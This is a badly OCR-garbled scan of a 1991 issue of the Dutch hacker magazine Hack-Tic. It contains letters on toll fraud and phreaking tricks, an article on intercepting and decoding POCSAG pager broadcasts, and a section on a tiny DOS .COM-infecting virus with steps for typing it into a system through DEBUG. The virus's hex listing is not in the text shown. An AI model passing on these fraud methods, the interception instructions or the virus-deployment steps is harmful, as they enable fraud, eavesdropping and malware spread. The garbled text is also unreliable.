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COLOFON 
  

‘Hapk-Ticis Nederlands eerste hackerblad. Het 
verschijnt zonder enige regelmaat. Het eerste 
nummer verscheen 13 januari 1989. Nummers. 
5/6, 9N1O, 11/12 en 14/15 zijn dubbelaummers. 
UITGAVE: Met vee! mosite door de stichting 
Hack-Tic. Deze stichting, maar ook alle me- 
dewerkers en lezers van Hack-Tic en hun 
familie zijn een veroniging in de zin van artiket 
140 Watboek van Strafrect 

(MET DANK AAN:: The Key, Sillsf, Caria, The 
Dude, Herman Acker, Peter Poeiman, Xokum 
3, Nothstar Ken, The Miracle Kid, Itsme, Stain- 
Jess Staal, tng. (Cum Laude), Or. Softwar, RGB. 
Productions, Josef Virek en Viadimir Uianov. 
Verder ktijgen we informatio uit de idiootste 
kringen. 
‘QWEEP: Carla 
ILLUSTRATIES: Koon Hottentot 
HOOFDVERDACHTE:Rop Genggrlip 
(CV. Archibald Tuttle 
KONTAKT: De redaktie is wellicht te bereiken 
via postbus 22953, 1100 DL. Amsterdam. 
E-mail: ropg@ooc.uva.ni. Telefoon en Voice- 
Mail 020-6001 480, Fax 020-8900068. 
PRUS: Losse nummers Kosten 4 guiden on 50 
cont, een abonnement voor 10 nummers {hoe 
Jang het ook duurt om die uit te geven) kost 40 
piek. Dit is een dubbelnummer en kost f 8, 
‘Abonnementsgeiden kun je overmaken op gi- 
fonummer 6065765 t.n.v. de Stichting Hack- 
Tic, Abonnementen beginnen met het laatst 
uitgegeven nummer tenzij je bij de betaling 
een ander beginnummer aangeett. 

INTERNATIONAL RATES: Outside Holland or 
Belgium, 10 issues cost US$ 30, DM 60. Airmail 
rates are US$ 40, 80 DM. Payment in AmEx 
Traveller cheques or cash to P.O. Box 22953, 
1100 DL Amsterdam, The Netherlands. 

  

  

  

ABONNEMENT VOOR HET LEVEN: 
‘Voor £375,-heb je een levenslang abonnement 
op Hack-Tic dat zetfs na de dood testamentair 
‘open ander over kan gaan. Het abonnement 
duurt zolang Hack-Tic duurt, Nooit meer ge- 
Zeur met het verlengen van je abonnement! 
Buitenlandse Levens-abos kriigen een gratis, 
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woordenboek van Nedertands naar de taal van 
hun keuze. Als|e bonnes voor het leven wordt 
‘ijg jo alle oude nummers (voor zaver voor 
radig) thuis gestuurd. 
PRIVACY: Het is natuurlik« via onze bankaf- 
schiften makkelik na te gaan wie er abonnee 

ijn, Heb je een maatachappelike positie die je 
niet wilt vertiezen dan kun je ook geld en adses 
in een enveloppe stoppen en die aan onze 
Postbus (zie “kontakt) sturen, wij weten dan 
genoeg. De Hack-Tic wordt altijd verstuurd in 
fen neutrale envelop, en het abonneebestand 
|s op onze disks versiouteld. Hack-Tic is ook 
‘verkrijgbaar bij de goede boskhandel. 
DISCLAIMER: De informatie in Hack-Tic dient 
slechts een educatief doe!. Gebruik van deze 
informatie zou strafbaar/staatsgevaarlik/ stout 
kunnen ziin. De redaktie wijst iedere verant- 
woordeliikheid voor gebruik doorlezers van de 
in Hack-Tic opgenomen informatie af. De men- 
ing van een auteur weerspiegelt niet noodzake- 
likerwifs de mening van de redaktie of uit- 
‘gover. All user servicable parts inside. 
NADRUK: toegestaan! Kranten, tidschiften, 
‘omroepstichtingen, politieke partijen, wasma- 
chinereparateurs etc. mogen zonder voorat- 
gaande toestemming van de redaktie (maar 
fatuurlik wal met bronvermelding) stukken 
‘overnemen uit Hack-Tic. De bovenstasnde dis- 
‘claimer blift echter van kracht. Nadruk van de 
gehele Hack-Tic is natuurlik verboden. 
NABESTELLEN: Oude nummerskosten f4,-en 
kunnen via de redaktiepostbus besteld wor- 
den. Sammige nummers ziin schaars en soms. 
emoeillik te krijgen. Oude aummers worden ver- 
stuurd als de volgende Hack-Tic uitkomt. 
HOE: Deze Hack-Tic werd met Ventura 3.0 
‘gemaakt op een (nog immer gammele) AT- 
386/33met 4 MB geheugen. Print-outs van elke 
Pagina werden met een FACIT P8010 laser- 
geval gezoeft en daama ambachtetik gedrukt. 
Toen hebben we het nog even ergens laten 
‘Youwen, nieten en snijden en klaar was Kees, 

   



  

  

Er is weer eens een Hack-Tic uit ! 

Alsje dit Ieest zijn we er inderdaad weer ecns in geslaagd om een nummer van 
Hack-Tic uit te brengen. Aan dit nummer hebben cen record aantal mensen 
meegewerkt. Het bestaat uit cen record aantal pagina’s en deze pagina’s zijn op 
cen nog nooit vertoonde wijze volgepropt. 

En jullie dachten dat zo’n produkt tot in het jaar 2000 even duur zou blijven. 
Mooi niet. Bijna drie jaar lang hebben wij slechts gegniffeld tocn andere bladen 
de prijzen verhoogden. Wij spaarden stickum alles op om de argeloze lezer mu, 
met een doffe dreun, te overvallen met cen stevige verhoging. Het abonnement 
voor 10 nummers wordt met maar liefst f2,50 verhoogd tot 40 gulden. Enkele 
nummers kosten nu 4,50 en dubbclaummers zoals dit exemplaar worden nu los 
verkocht voor de record-prijs van {8,-. Wordt nou maar snel abonnee, want wij 
hebben de smaak te pakken. 

Dit nummer pas openslaan als je in het pak gehesen bent en de gasdichte deur 
achtor je in het slot zit, want het zit vol met computervirussen. Op pagina 14 een 
machinctaal-virus voor de PC, . 
en op pagina 36 cen virus in 
MS-DOS batch (!) Verder op 
pagina 38 cen artikel over tro- 
jan-horses in ANSI teksten en 
plaatjes. 

Zelfs PTT-Telecom kan nu 
niet meer om Hack-Tic heen 
en heeft zich, zoals je op 
pagina 20 kunt zien, bercid ge- 
toond je lijfblad te woord te 
staan, 

Achterin dit nummer staat 
con tweetal zendertjes om zelf 
te bouwen en op pagina 7 alle 
informatie dic je nodig, hebt 4 
om zelf de informatie van het 
semafoonnet opte vangen. Op 
pagina 48 con aanbieding die 
je nict kunt late lopen als je 

zelf cen Bluc-Box (of elke an- 
dere box) wilt bouwen en nog 

veel, veel meer! 
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Lezerspost. 

Tot veler ongenoegen zagen wij op TV2 cen medewerker van Hack-Tic om 
*Hacken aan de man tc brengea’. 

Wat zijn dit voor taferclen? Zijn de oplagea te Kicin, of gaan we gezellig met za 
aliende commerciéle kant uit ca aullen we de masse zovect mogclijk informeren over 
wat er eigenlijk allemaal niet mogelijk is’ zodat gen hacker of phreaker meer zijn 
trucs kan gebruiken omdat er zo nodig gepubliccerd moet worden. 

Dit tot gevolg hebbende dat ook rechercheteams etc. onze vrijetijdsbesteding nog 
een keer extra bemoeilijken, tevens door nicuwe wetten op het gebied van *hacken’. 

Is dit wat we nodig hebben?! Een blad dat vele hackers & phreakers vertcgen- 
woordigt en dat tevens bijdraagt aan vrije uitwisscling van technickea en technolo- 
gieén tussen hackers onderling, dat nu even de ’echte” massacommunicatiemedia 
opzoekt om extra publiciteit em voor de nodige controverse om Hack-Tic te ver- 
groten. Eerst cen bijzonder fraai voorbceld van de Nederlandse hacker die op TV 
verschijat om te laten zien dat hij in de nodige Amerikaanse computers kan binnen- 
komen (Nou, nou, grote jongen hoor). Nu dit. 

What's next ?! Samen met de LOD, 2600, Hack-Tic etc. gezellig een middagje uit 
bij CNN 7 

Jongens, “backen’ is niet begonnen om commercic cn behoort hier ook nict te 
cindigen, dus laten we gauw met 7a allen cen cind maken aan deze myopia voor het 
te laatis..... 

      

Tack-0 

Hack-Tic als commerciele ondememing.... Het is dutidelijk dat je onze boekhouding 
nog niet hebt gehacked. Maar even serieus: 

Je zegt dat Hack-Tic te veel trunks in de openbaarheid brengt zodat ‘de echte hackers 
en phreaks’ ze niet meer kunnen gebruiken. Wij hebben de truuks veelal van de mensen 
die ze ontdekken en die er mee uitgespecld zijn. De truack waarover je het waarschijnlijk 
‘hebt (C5) stond al op etk (al dan niet Amiga) BBS in het land en werd op enige schaat 
verkocht. Wat je dus zegt is dat de informatie vrij op alle BBSen mag staan en voor veel 
geld te koop mag zijn voor en door mensen die er hun eigen zakken mee vullen. Maar 
dezers van Hack-Tic, van wie velen er gewoon mee willen spelen, mogen het niet weten. 

Dan 2eg je nog dat er door Hack-Tic rechercheteams ackter je aan komen om ‘je 
vrijetijdsbesteding’ onmogelijk te maken. Dat is bullshit: het beste excitus voor massale 
vervolging van hackers is een volledig gesloten scene waar iedereen zijn informatie voor 
zich houdt (kijk maar naar de VS). Zolang we als hackers regelmatig laten zien dat we 
‘geen terroristen | dieven | zwendelaars | vandalen | spionnen® zijn maar eigenzinnige 
ontdekkingsreizigers maken we een kans. 

  

* Doorhaten wat niet van toepassing is 
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lezerspost 

Beste phreaks, 

Toen de telefoonkosten mij bij het backen parten gingen spelen moest ik op zoek 
naar een methode om deze kosten enigszins in bedwang te houden. Een goede 
oplossing bleck het programma TELEREPLICA (zie PCM-BBS). Door cen “helft” 
van het programma als “onzichtbaar” TSR te installeren op de bezochte computer, 
en de andere "helft” als communicatieprogramma te gebruiken koa ik die computer 
instrucren om, madat ik de telefoon 1 keer had laten overgaan, mij op te bellen. Dit 
alles via een doorgeschakeld nummer (in case of accidents). De kosten komen zo 
voor rekening van de instantie waar de computer staat. Dit fukt uiteraard alleen op 
(erg) slecht bewaakte computers die onder MS-DOS draaien. Kennen jullie een 
soortgelijk programma voor andere systemen? 

HACK-ON! 
ACE 

Waaaah, ontberingen maken een mens creatief nietwaar.... Denk er echter wel aan 
dat de PTT altijd kan uitzoeken waar een nummer naar doorgeschakeld is geweest. 

Hallo Redactie, 

Misschien een handig truukje voor de Amerika-gangers. Nou ja, traukje. Het 
vereist verder geen technische ingrepen of iets in die trend. 

Neem uit de States cen lading Onc Cent Coins mee terug (ze zullen dan wel ecn 
beetje raar kijken bij de metaaldetector, maar ja). Vervolgens kun je in bijna heel 
Nederland bijaa gratis parkoren door deze muntjes in de parkecrmeter te gooien. 
De parkeermeter ziet ze namelijk voor kwartjes aan, Ze hebben cchter wel de maat 
maar niet het gewicht of de magnetische eigenschappen van een kwartje en dus zal 
cen beetje PTT-telefoon of Pepsi-automaat (bich, red.) ze dan ook niet accepteren. 
Copicermachines laten zich wel eens voor de gek houden. 

P.S. bestaat er cen truuk om met meerdere mensen tegelijk te bellen zonder de 
tussenkomst van de PTT? 

P.P.S. De gratis naar de VS bellen trauk werkt bij mij nog niet. Ik bea druk bezig 
geweest met ecn BASIC-programma om de toontjes te genereren maar het is mij niet 
gehee! duidelijk wanneer de Clear-Forward en Seize nu procies moeten. In het oor 
van de operator? Moet je wachten na de Seize? Het lukt me maar niet, is er wellicht 
cen stokje voor gestoken? 

   

ALK. 
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Lextk traukje. Volgens ons zijn er nog veel meer (nog schokkendere?) numnt-compati- 
biliteiten. Stuur op die hop! Met meerdere mensen tegelijk bellen kan door je (vanuit het 
Amerikaanse net, tukt niet vanuit het buitentand) te verbinden met Alliance Telecon- 
{ferencing zie doarover het artikel in deze Hack-Tic. Wat betreft het gratis bellen: het is 
‘een stuk moeilijker geworden, maar het kan nog wel. Timings voor Clear Forward en 
seize en andere onderdelen van de procedure verschillen per nummer. Experimenteren 
is het motto. 

Gevreesde Hack Tickers, 

Veel hotelcentrales houden bij wanneer en met wie je belt en hoe lang. Wat doen 
ze echter nadat je vertrckt met die print-outs? Lijkt me slecht voor de privacy. 

De Vortex Warrior (pseudo, op mijn werk lezen ze de Hack-Tic ook) 

Hotelcentrates hebben ook leuke kanten. Zo herkennen ze DTMF-toontjes ook nog 
als je ze zo zacht geeft dat de PTT-centrate ze nog niet herkent (met een toonkiezer uit 
de Primafoon). Zo kun je de centrale eerst een stel enen geven (altijd cen lokaal gesprek 

voor de computer) terwij! de kiestoon gewoon doorgaat en dan met het toetsenbord op 
de telefoon internationaal bellen. Als je zoveel cijfers belt past het meestal ook niet op 
de kolom van de print-out. Twee vliegen in 1 klap. 

Hoi, 

Recentelijk ontdekte ik in Maastricht het nummer 0140. Je krijgt dan cen toon. 
Na het intoetsen van cen 2-cijferig nummer (11 werkt gocd) cn necricggcn wordt je 
teruggebeld. Niet direct maar pas na 2 seconden. Je kunt er ook tussendoor nog snel 
even een ander gesprek maken (max 20 sec.) en dan wordt je alsnog gcbeld. Je kunt 
zelfs bepaalde kaartcellen laten rinkelen, terwij! de PTT zegt dat dal nict kan. Duidt 
dit op ANI? De mazzel! 

B.S. 

PS. Test je kostenteller (of die van een ander uit) uit en bel 09-991111. 

0140's het testnummer voor centrales van het type AXE (Ericsson). De AXE is (net 
ats de SESS) een computer met een zwik telefoons er aan vast. Met andere woorden, die 
computer weet altijd waar je vandaan belt, dit duidt op zich niet op ANI. Maar alte 
computercentrales weten waar je vandaan belt als je eigen centrale ook een computer- 
centrale is. Op SESS en PRX-A (een computergestuurde reluis-centrale) bel je 400 en 
dan je eigen nummer om tenaggebeld te worden. Ook 911 wit nog wet eens een 
‘spiegelnummer’ zijn. 

Hack-Tic 14~15/1991 6 

 



SemaFun 

In het vorige nummer beloofden we al dat we in dit nummer aandacht zouden 
besteden aan het Nederlandse scmafoonnet. In dit artikel eerst alles over de werking 
van het semafoonnnet en dan cen meer praktijkgcricht verhaal over het bouwen van 
een schakeling die het uitgangssignaal van cen ontvanger omzet in enen cn aullen, 
Met cen ontvanger, deze schakeling, cen computer en wat zclf geschreven software 
(waarvoor alle informatie in het artikel staat) komt er incens cen heleboel informatic 
uit de lucht valfen. 

Het Nederlandse semafoonnet 
Voor het Nederlandse semafoonnet, ook wel semafoonnet 3 genaamd, zijn drie 

verschillende typen picpers op de markt, te weten: 
© tone-only semafoons, die in 4 verschillende ritmes piepen 
@ nummerieke semafoons, dic con bericht tot 14 cijfers lengte cn ook nog eens 3 

verschillende tone-only berichten kunnen ontvangen 
@ alfanummericke semafoons, zij kunnen ASCII-berichten tot 80 tekens ontvangen 

maar ook nummericke berichten en 2 soorten tone-only berichten. 
Er zija in Nederland twee semafoonnetten in gcbruik; het Nederlandse net op 

154.9875 MHz en het Beneluxnet op 164.3500 MHz. Elk net heeft cen theoretische 
capaciteit van 2 “21 semafoons (2097152). Het groatste deel van de nummerieke en 
aifanummerieke semafoons zit op het Nederlandse net, bijna alle tone-only sema- 
foons zitten op het Benelux net. Elke semafoon voor cen bepaald net heeft cen uniek 
nummer van 21 bits. De decimale weergave van dit gotal nvemen we de RIC, de 
Receiver Identification Code. 

Op de PTT-semafoons is deze RIC afgedrukt, voorafgegaan door 15 voor het NL 
net en 16 voor het Benelux net. Deze 15 en 16 zija de cerste twee cijfers van de 
gebruikte frequentie. Op semafoons dic nict bij de PTT zijn gekocht staat het 7 
cijferige RIC en de gehele frequentic afgedrukt. Als we het verder in dit artikel 
hebben over het RIC dan bedoclen we de alleen de "echte” RIC, de laatste zeven 
cijfers van het getal dat op de semafoon staat. Dit getal staat los van het 06- 
SXXXXXXX oummer waarmee de semafoon wordt aangekozen: een database bij 

de PTT koppett aan cen elefoonnummer I of meerdere RICs die vervolgens worden 
uitgezonden, eventueet gevolgd door het opgegeven bericht. Als een nummer mecr- 
dere picpers aankiest gaat het om cen groepsaproep (bijvoorbeeld cen kudde 
brandweer). 

Om mensen met cen semafoon te bereiken zijn cen aantal opties beschikbaar. Ecn 
tone-only semafoon heeft 4 telefoonnummers (cindigend op 1,2,3 en 4 of op 6,7,8 en 
9) die je gewoon kunt kiezen. Na cen kostentik, de mededeling "semafoonaanvraag, 
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geaccepteerd” en cen pieptoon wordt de verbinding verbroken, De semafoon piept 

danin cen ritme dat aan de gebruiker aangeeft welk van de vier nummersis gekozen. 
Een nummerieke semafoon heeft ook vier nummers, maar de cerste (die dus cindigt 
op 1 of 6) lat een opname horen dic zegt "Toets nu Uw informatie in, sluit af met 

cea bekjc en wacht ap de acceptatietoon". Zodra je bet bekje tikt krijg je nog twee 
aanvuliende kostentikken (’s avonds 1) en het bekende "semafoonaanvraag geaccep- 
teerd" gevolgd door de pieptoon. De andere drie nummers zijn alleen voor tone-only 
oproepen. 

Een alfanummerieke semafoon kan ook op deze manier nummeriek worden 

aangekozen, maar verder kan de opbeller met een modem kontakt leggen met een 
computer en zo kunnen behalve tone-only en nummerieke berichten ook alfanum- 
merieke berichten tot 80 tekens worden verzonden. De nummers (tot 2400 bps) van 

deze computerdienst zijn 06-57506575 (Beneluxnet) 06-58506585 (NL net) en de X25 
(Datanet-1) nummers zijn 1170575 (Benehunet) 1170506 (NE act). Alfanummericke 
semafoons zitten hoofdzakelijk in de volgende series: 06-57500000 t/m 06-57999999 
voor de Benelux en 06-58000000 t/m 06-58750000 voor het NL-net. 

Wat zit er in de lucht? 
Leuk allemaal, maar hoe wordt dit allemaal verzonden? Elk net bestaat uit cen 

hele serie steunzenders, allemaal op dezelfde frequentic. Het signaal dat zij uitzen- 
den is FSK (Frequency Shift Keying) met een snelheid van 512 bits per seconde. De 
werkelijke uitgezonden frequenties liggen 2.25 KHz onder cn boven de draaggolf. 
De laagste frequentie stelt cen binaire 1 voor, de hoogste cen 0. Het gebruikte 
protocol heet POCSAG, en is bij de CCIR (Comitee Consultative International de 
Radio) bekend als Radio Paging Code no. 1. 

Als je met een scanner naar de semafoonuitzendingen zou luisteren zou je twee 
soorten uitzendingen horen. je hebt uitzendingen die door cen stabiele pieptoon van 
1 seconde voorafgegaan worden en dan overgaan in con onregelmatig gercutel. Dit 
is de werkelijke data waar het ons om gaat. Dan heb je ook nog uitzendingen waarbij 
direct het onregelmatige gereutel Klinkt. Dit zijn testuitzendingen voor het systeem 
zelf, wij negeren ze. 

Elke uitzcnding wordt begonnen met cen "proamble”. Dit is ecn patroon van om 
en om enen en oullen om de ontvanger te synchroniseren. In totaal gaat het om 
minstens 576 bits, dus ietsje meer dan cen seconde. Omdat het patroon regelmatig 
is hoor je dit als een mooie stabiele pieptoon. 

Nadec preamble wordt de data verzonden in “woorden" van 32bits. Allercerst volgt 
een "syncword", een special afgesproken code, en dan komea 16 woordes van 32 
bits. Als er dan nog meer te melden is volgt weer een synoword, en weer 16 woorden 
van 32 bits. Is er niets meer te melden dan wordt het huidige biok van 16x32 bits 
volgemaakt met "idlewords" Na ccn syncword volgen nog twee idlewords en vervol- 
gens 2 “stopwords”. 
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Zo'n blok van 16 x 32 bits met craan voorafgaand een syncwoord van ook 32 bits 
nomen we een batch’. De 16x32 bits verdelen we dan ook nog eens in 8 frames dic 
elk uit 2 woorden van 32 bits bestaan. Deze frames aummeren we van 0 tot en met 7. 
Even cen tekeningetje van ccn batch om het geheel te verduidelijken: 

preamete [8] 1 {1d tt itt treet ist tt Urro]pra |yR2|rR3]PR4 [PRS |PR6[FR7] [FRO] 

  

SYRCWORD = 0111 1260 1101 G10 0001 0101 1101 1000 
XDLEWORD = 0121 1010 1000 1001 1100 0001 1001 O111 

Het adreswoord 
Als er een semafoon wordt opgeroepen dan wordt er eerst cen adreswoord 

uitgezonden. Dit adreswoord bevat cen nul, de eerste 18 bits van het RIC, de 2 bits 
van de fucticeode (hierover straks meer), 10 CRC error checking bits en een parity 
bit. De laatste drie bits van het RIC worden niet uitgezonden maar zijn te bepalen 
door te kijken naar het frame waarin het adreswoord zit. Zit het adreswoord 
bijvoorbeeld in frame nummer vier dan voegen we binair "100" toc aan de uitgezonden 
18 bits. Deze hele constructic heeft tot doet om ontvangers aa het ontvangen van het 
eerste syncword uit te kunnen zetten tot "hun" frame voorbijkomt. Het voordeel ligt 
dan in de besparing op het stroomverbruik: de batterijtjes van de semafoon gaan 
langer mee doordat de semafoon maar naar cen beperkt deel van de uitzending hoeft 
te luisterca, op andere tijdstippen kan de ontvanger uit. 

Overigens is het niet zo dat voor elke oproep 1 uitzending is: oproepen worden 
voor een korte periode opgespaard en dan in 1 stapel uitgezonden. Op drukke 
tijdstippen kunnen tientallen oprocpen in 1 uitzending gepropt worden en worden 
de uilzendingen ook navenant langer. 

De functiecode 
0: Tone-only of nummerick, 1 cn 2 zijn altijd tone-only ea 3 is tone-only of 

alfanummerick. Of het hicr een Tone-only dan wel cen andere oproep betreft is af 
te leiden uit het al dan nict volgen van een datawoord na het adreswoord. Volgt er 
geen datawoord dan is het cen tone-only oproep. Na de functiecodes 1 of 2 volgt 
nooit cen datawoord. Datawoorden volgen altijd direct na het adreswoord waar 7e 
bij horen: cr zit nooit een idle-woord tussen, Wel kan een bericht door cen synewoord 
onderbroken worden (deze zitten immers aan het begin van elke batch). 
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Het datawoord 
(nummeriek) 

Bet datawoord bestaat uit cen 1, 20 informaticbits, 10 CRC-Error check bits en 
1 parity bit. De 20 informatie-bits representeren in een nummericke oproep (als er 
dus cen functiocode 0 in het laatste adreswoord stond) precies 5 cijfers. Elk cijfer 
wordt weergegeven door 4 bits volgens de volgende tabel. Let op: de laatste bit in de 
tabel wordt het eerste uitgezonden. De cijfers zitten wel in de goede volgorde in de 
datastroom. Is het aantal verzonden cijfers geen veelvoud van 5 dan is het Laatste 
dataword opgevuld met spaties. 
aco 0 0100 4 1000 8 1100 spatie oaox 1 0101 5 1001 9 uioi - 
0010 2 o110 6 1020 Reserve 1120 } 
oo11 3 01a 7 1011 U (Urgent) 1211 | 

Het datawoord 
(alfanummeriek) 

Betreft het cen alfanummericke oproep dan staan er in de 20 informatic-bits van 
het cerste datawoord twee complete karakters van 7 bits (ASCII) en 6 bits rest. Deze 
7 bits staan weer in de "verkeerde” valgorde (LSB eerst). Alle nict gebruikte ruimte 
in het laatste datawoord wordt opgevuld met nuilen. We drukken hier geen ASCII- 
tabel af: die zoek je maar op in je favoriete computermanual (RTFM dus). 

De Foutcorrectie 
Elk codewoord heeft 21 informatiebits. Deze corresponderen met de coefficien- 

ten van een polynoom met exponenten van x) naar beneden tot en met x!°_ Deze 
polynoom wordt modulo-2 gedeeld door de genererende polynoom x! + x? + x8 
+ x6 +25 +9 + 1. De foutcorrectie-bits corresponderen met de coefficienten van 
de termen x? t/m x9 in de restpolynoom die na deze deting averblijft. Het gehele blok 
van 31 bits, informatie en crror-correctie komt overcen met de coefficicaten van cen 
polynoom die integraal modulo-2 deelbaar is door de genererende polynoom. In 
geval van geestelijke panick kunt U bellen met 06-11 of de wiskundige in Uw eigen 
‘woon- of verblijfplaats, Oh ja, het 32’ste bitje is cen even-parity over het hele 
codeword, 

‘Het komt er op neer dat als er 1 of 2 bits fout uit de ontvanger komen, de 
foutcorrectic dit op kan lossen. Is er meer fout dan geeft ook de foutcorrectie het op. 
Als deze situatie zich 2 maal achter elkaar voordoet dan dient de semafoon (en dus 
ook onze software) er vanuit te gaan dat de uitzending is afgelopen. Het stopword 
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dat aan het eind van clke uitzending 2 maal wordt vitgezonden is op het moment van 
uitzending al “fout" ca zal dus nooit door de foutcorrectie heenkomen. 

Stopwoord 
‘Aan het cind van elke uitzending worden twee stopwoorden vitgezonden om er 

zeker van te zijn dat de ontvangers errors krijgen en weer naar cen preamble gaan 
zoeken. Dit stopwoord is echter in de docuracntatic over POCSAG nergeas terug te 
vinden, cn in principe is alles wat niet door de foutcorrectic beenkomt tc gebruiken. 
Alsje slim bent gebruik jc het dus niet ine software, er isimmers geen enkele garantie 
dat andere POCSAG systemen in de wereld hetzelfde woord gebruiken, en er is zelfs 
geen garantic dat ze het hier nict veranderen, Verder blijft in dat geval je programma 
angen als het stopwoord fout wordt ingelezen. 

Nogmaals cen tekeningetje; om ht allemaal samen te vatten is hier een voorbecld 
van cen uitzending zoals e die in de ether zou kunnen tegenkomen. In frame 1 wordt 

cen pieper opgeroepen met cen boodschap die de volgende drie worden beslaat. 
Dan volgt na cen scric idlewoorden cen tone-only oproep (geen data) in frame 4. In 
frame 7 begint cen oproep waarvan de boodschap doorgaat na het syncwoord. 
PREAMBLE |S|x{x[a]D]D|p|z/z[7]a|x[r[z]z]alp}s(p[x ... x[x[s(z]z]x|x rRo|FR2}ER2|FR3|FRA]FRS|FRE}FR7| [FRO ... FR7] |FRO|FR2 

   

      

   

& = SYNCWOORD 

on betaald terwi de baes Tce i. van. 
ote € nafiien publiceren van bedrijven die door het hebberige | 

sere Serer ta cere perce toe oper 
Is. abonnement. | Zakeliike status wilt geven dat 
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Je eigen semafoon-ontvanger 

Omzelf dit signal te decoderen hebje allercerst een scanner of andere ontvanger 
nodig dic dit signaat kan ontvangen. Een goedkope kristalscanner is voldoende, je 
moet dan wel cca kristal bestellen. Modernere computerscanners geven meer luxe, 
hier kun je de frequentie gewoon intikken . Tot zover was dit artikel voor de leek nog 
enigszins te volgen, voor de rest van dit artikel is een zekere basiskennis inzake 
electronica helaas zeer beslist een must. 

Dit audio-signaal vocdcn we vervolgens aan cen zelfgeknutseld stukje electronica 
dat er enen en nullen van brouwt. Het schema hiervoor staat op de pagina hiernaast. 
Opgelet: deze enen en nullen staan nict gegarandcerd in de juiste polariteit. Het kan 
zijn dat de ene uitzending in de juiste polariteit staat en de volgende uitzending 
“verkeerd om’, Het is dus zaak om je software zo te schrijven dat dat niet uitmaakt. 
Maar laten we niet op de zaak vooruit lopen: hiernaast staat het stukje electronica 
om je scanner aan je computer te koppelen. 
Nu heb je dus een TTL-niveau uitgangsbit (space = 0 Volt, mark = 5 Volt). Deze 

bit zou je bijvoorbeeld aan de Printer-Ready pin van je printerpoort kunnen hangen. 
Ook joystick-ingangen, interrupt-touwtjes en zelfbouw bus-interfaces komen in aan- 
marking, jc zict maar. Als je computer eenmaal het verschil tussen een 1 en een 0 op 
deze ingang kan zien kan je soldeerbout uit het stopkontakt en de multimeter terug 
in de kast. Nu komt het lastigste stuk: achter je toetsenbord. 

De nu te schrijven software gaat allereerst zoeken naar de preamble. Is deze 
gevonden dan schuift de computer de bits net zo lang door cen 32-bits schuifrogister 
tot het syncwoord gevonden is. Om te zorgen dat voornoemde polariteit geen roet in 
het eten gooit vergelijkt de software de inhoud van het schuifregister met synewoor- 
den in beide polaritciten. Zodra het eind van het syacwoord gedetecteerd is (en dus 
‘ook de polariteit bekend is) kan het echte werk beginnen. 
Lees nu steeds 32 bits in en roep je foutcorrectie-routine aan. Heb je geen zin om 

een hele correctie-routine te schrijven dan zou je kunnen volstaan met een routine 
die alleen maar kijkt of de data goed of fout is. Kijk dan of jc te maken hebt met een 
adres-, idle-, sync-, of datawoord. Zet vervolgens de informatic om in het gewenste 
formaat endoe ermee wat je wilt. Als de foutcorrectic routine twee maal achter elkaar 
faalt is de uitzending voorbij en gaat de software weer zocken naar cen nieuwe 
preamble. Als je cen beetje een snelle computer hebt kun je natuurlijk meerdere 
ontvangers aan 1 systeem koppelen en bijvoorbeeld de informatie van zowcl het 
Nederlandse als het Beneluxnet op 1 scherm weergeven. Niets let je om een micro- 
controller te programmerca om al het vuile werk te doen zodat je computer een mooi 
9600 bps sericel signaal binncakrijgt. 
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Het kortste virus ter wereld? 

‘Volgens cen bekend virusonderzoeker komt het kertste (DOS) virus in de wereld, 
ca 135 bytes, wit Bulgarije. Welou, hieronder vindt ween oer-hollands, werkend virus 
van maar liefst 110 hytes (109 na de eerste besmetting)! Oranje boven! 

Dit virus besmet alleen *.COM-be- 
standen in de huidige directory. Er is 
geen trigger; het virus verspreidt zich- 
zelfalleen en doet verder niets. Het virus 
werkt als volgt: Ecrst wordt de virus 
code gekopicetd naar een hoger seg- 
meat. De DTA wordt verplaatst hoog in 
het huidige segment. Ditis nodig omecn 
eventuele command tail niet te over- 
schrijven, Daarna wordt naar COM be- 
standen gezocht met de DOS "FIND 
FILE” funktics. 

Als cen bestand gevonden is, wordt 
dit ingelezen na de viruscode. Nu wordt 
gecontroleerd of het bestand al eerder 
besmet is door naar de eerste instruktie 
te kijken. In de virus code is dit "MOV 
ST’, wat nauwelijks voor zal Komen in 
een onbesmet .COM bestand, Als bet 
bestand al besmet is, zockt het virus ver- 
der. Anders wordt de file pointer terug- 
gezet en de nieuwe code (virus + file) 
teruggeschreven. Hel virus blijfi zoeken 
tot alle .COM-bestanden in de huidige 
dir gecontroleerd zijn. Hierna wordt de 
oorspronkelijk programmacode omlaag 
geschoven tot offsct 0100 hex, waar 
*.COM programma’s altijd moeten be- 
ginnen. Dit overschrijft het virus; de ver- 
plaatsinstrukties worden dus op offset 
OFC hex gezet. Het virus maakt cca re- 
turn naar dit adres. Het eerstvolgende, 
adres is dan 0100 hex, waar de program- 
macode begint. De viruscode komt dus 
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altijd eerst, en wordt overgeschreven 
met het cigenlike programma. Het ge- 
bruik van de XCHG en CWD instruk- 
ties ijkt op het cerst gezicht niet zinvol, 
maar deze bereiken het gewenste resul- 
taat en uemen bovendien maar | byte in 

Ook fijkt het meer logisch om de 
LODSBSTOSB/LOOP instrukties te 
vervangen ret "REP MOVSB’. Dat 
hadden wij ook graag willen docn, het 
virus zou dan maar 105 bytes lang zijn 
geweest, maar de krakkemikkige rotzovi 
die de onbeilige drie-eenheid (IBM, 
INTEL, MICROSOFT) geschapen 
heeft, wordt krankzinnig van al te grote 
geheugenverplaatsingen met de "REP" 
instruktic, en bijna het gehele segment 
moet omlaag geschoven worden. 

Om het virus zo klein mogelijk te 
houdea, is er geen error-checking. Een 
read-only bestand kan eventueel 
problemen veroorzaken. Dito cen be- 
stand groter dan FEQO hex bytes (zecr 
onwaarschijnlijk, trouwens), Sommige 
programma’s kunnen —_eventucel 
problemen krijgen met de DTA, hoewel 
dit niet vaak zal voorkomen. Het sys- 
teem moet ook minstens 128k vrij ge- 
heugen beschikbaar hebben. Dit alles is 
te verhelpen met nog ca 15 bytes code, 
maar wij wilden het virus zo klein moge- 
jk houden, en deze problemen zaullen



nauwelijks voorkomen. Verder werkt dit 
mini-virus voortreffelijk. 

‘Sommige bedrijven zija zo bang voor 
virussen dat ze netwerken met allecn 
terminals zonder disk drives hebben, 

zodat de gebruikers geen cigen software 
op het systeem kunnen zeiten, Wie de 
beheerders van dergelijke systemen 
goed gek wil maken kan dit virus gewoon 
intikken als hex bestand mits DEBUG 
op het systeem staat. Tik “DEBUG 
TIC.COM" in, daarna “e", en daarna de 
hex waardes. Trek 100 hex af van de 
laatste offset, tik dit (6E) met het 'rex’ 
commando in, cn afsluiten met “w". Run. 
nu het programma "TIC.COM'. Dit is 

voldoende om alle .COM bestandea in 
de directory te besmetten. “TIC.COM" 
kan dan nitgewist worden. 
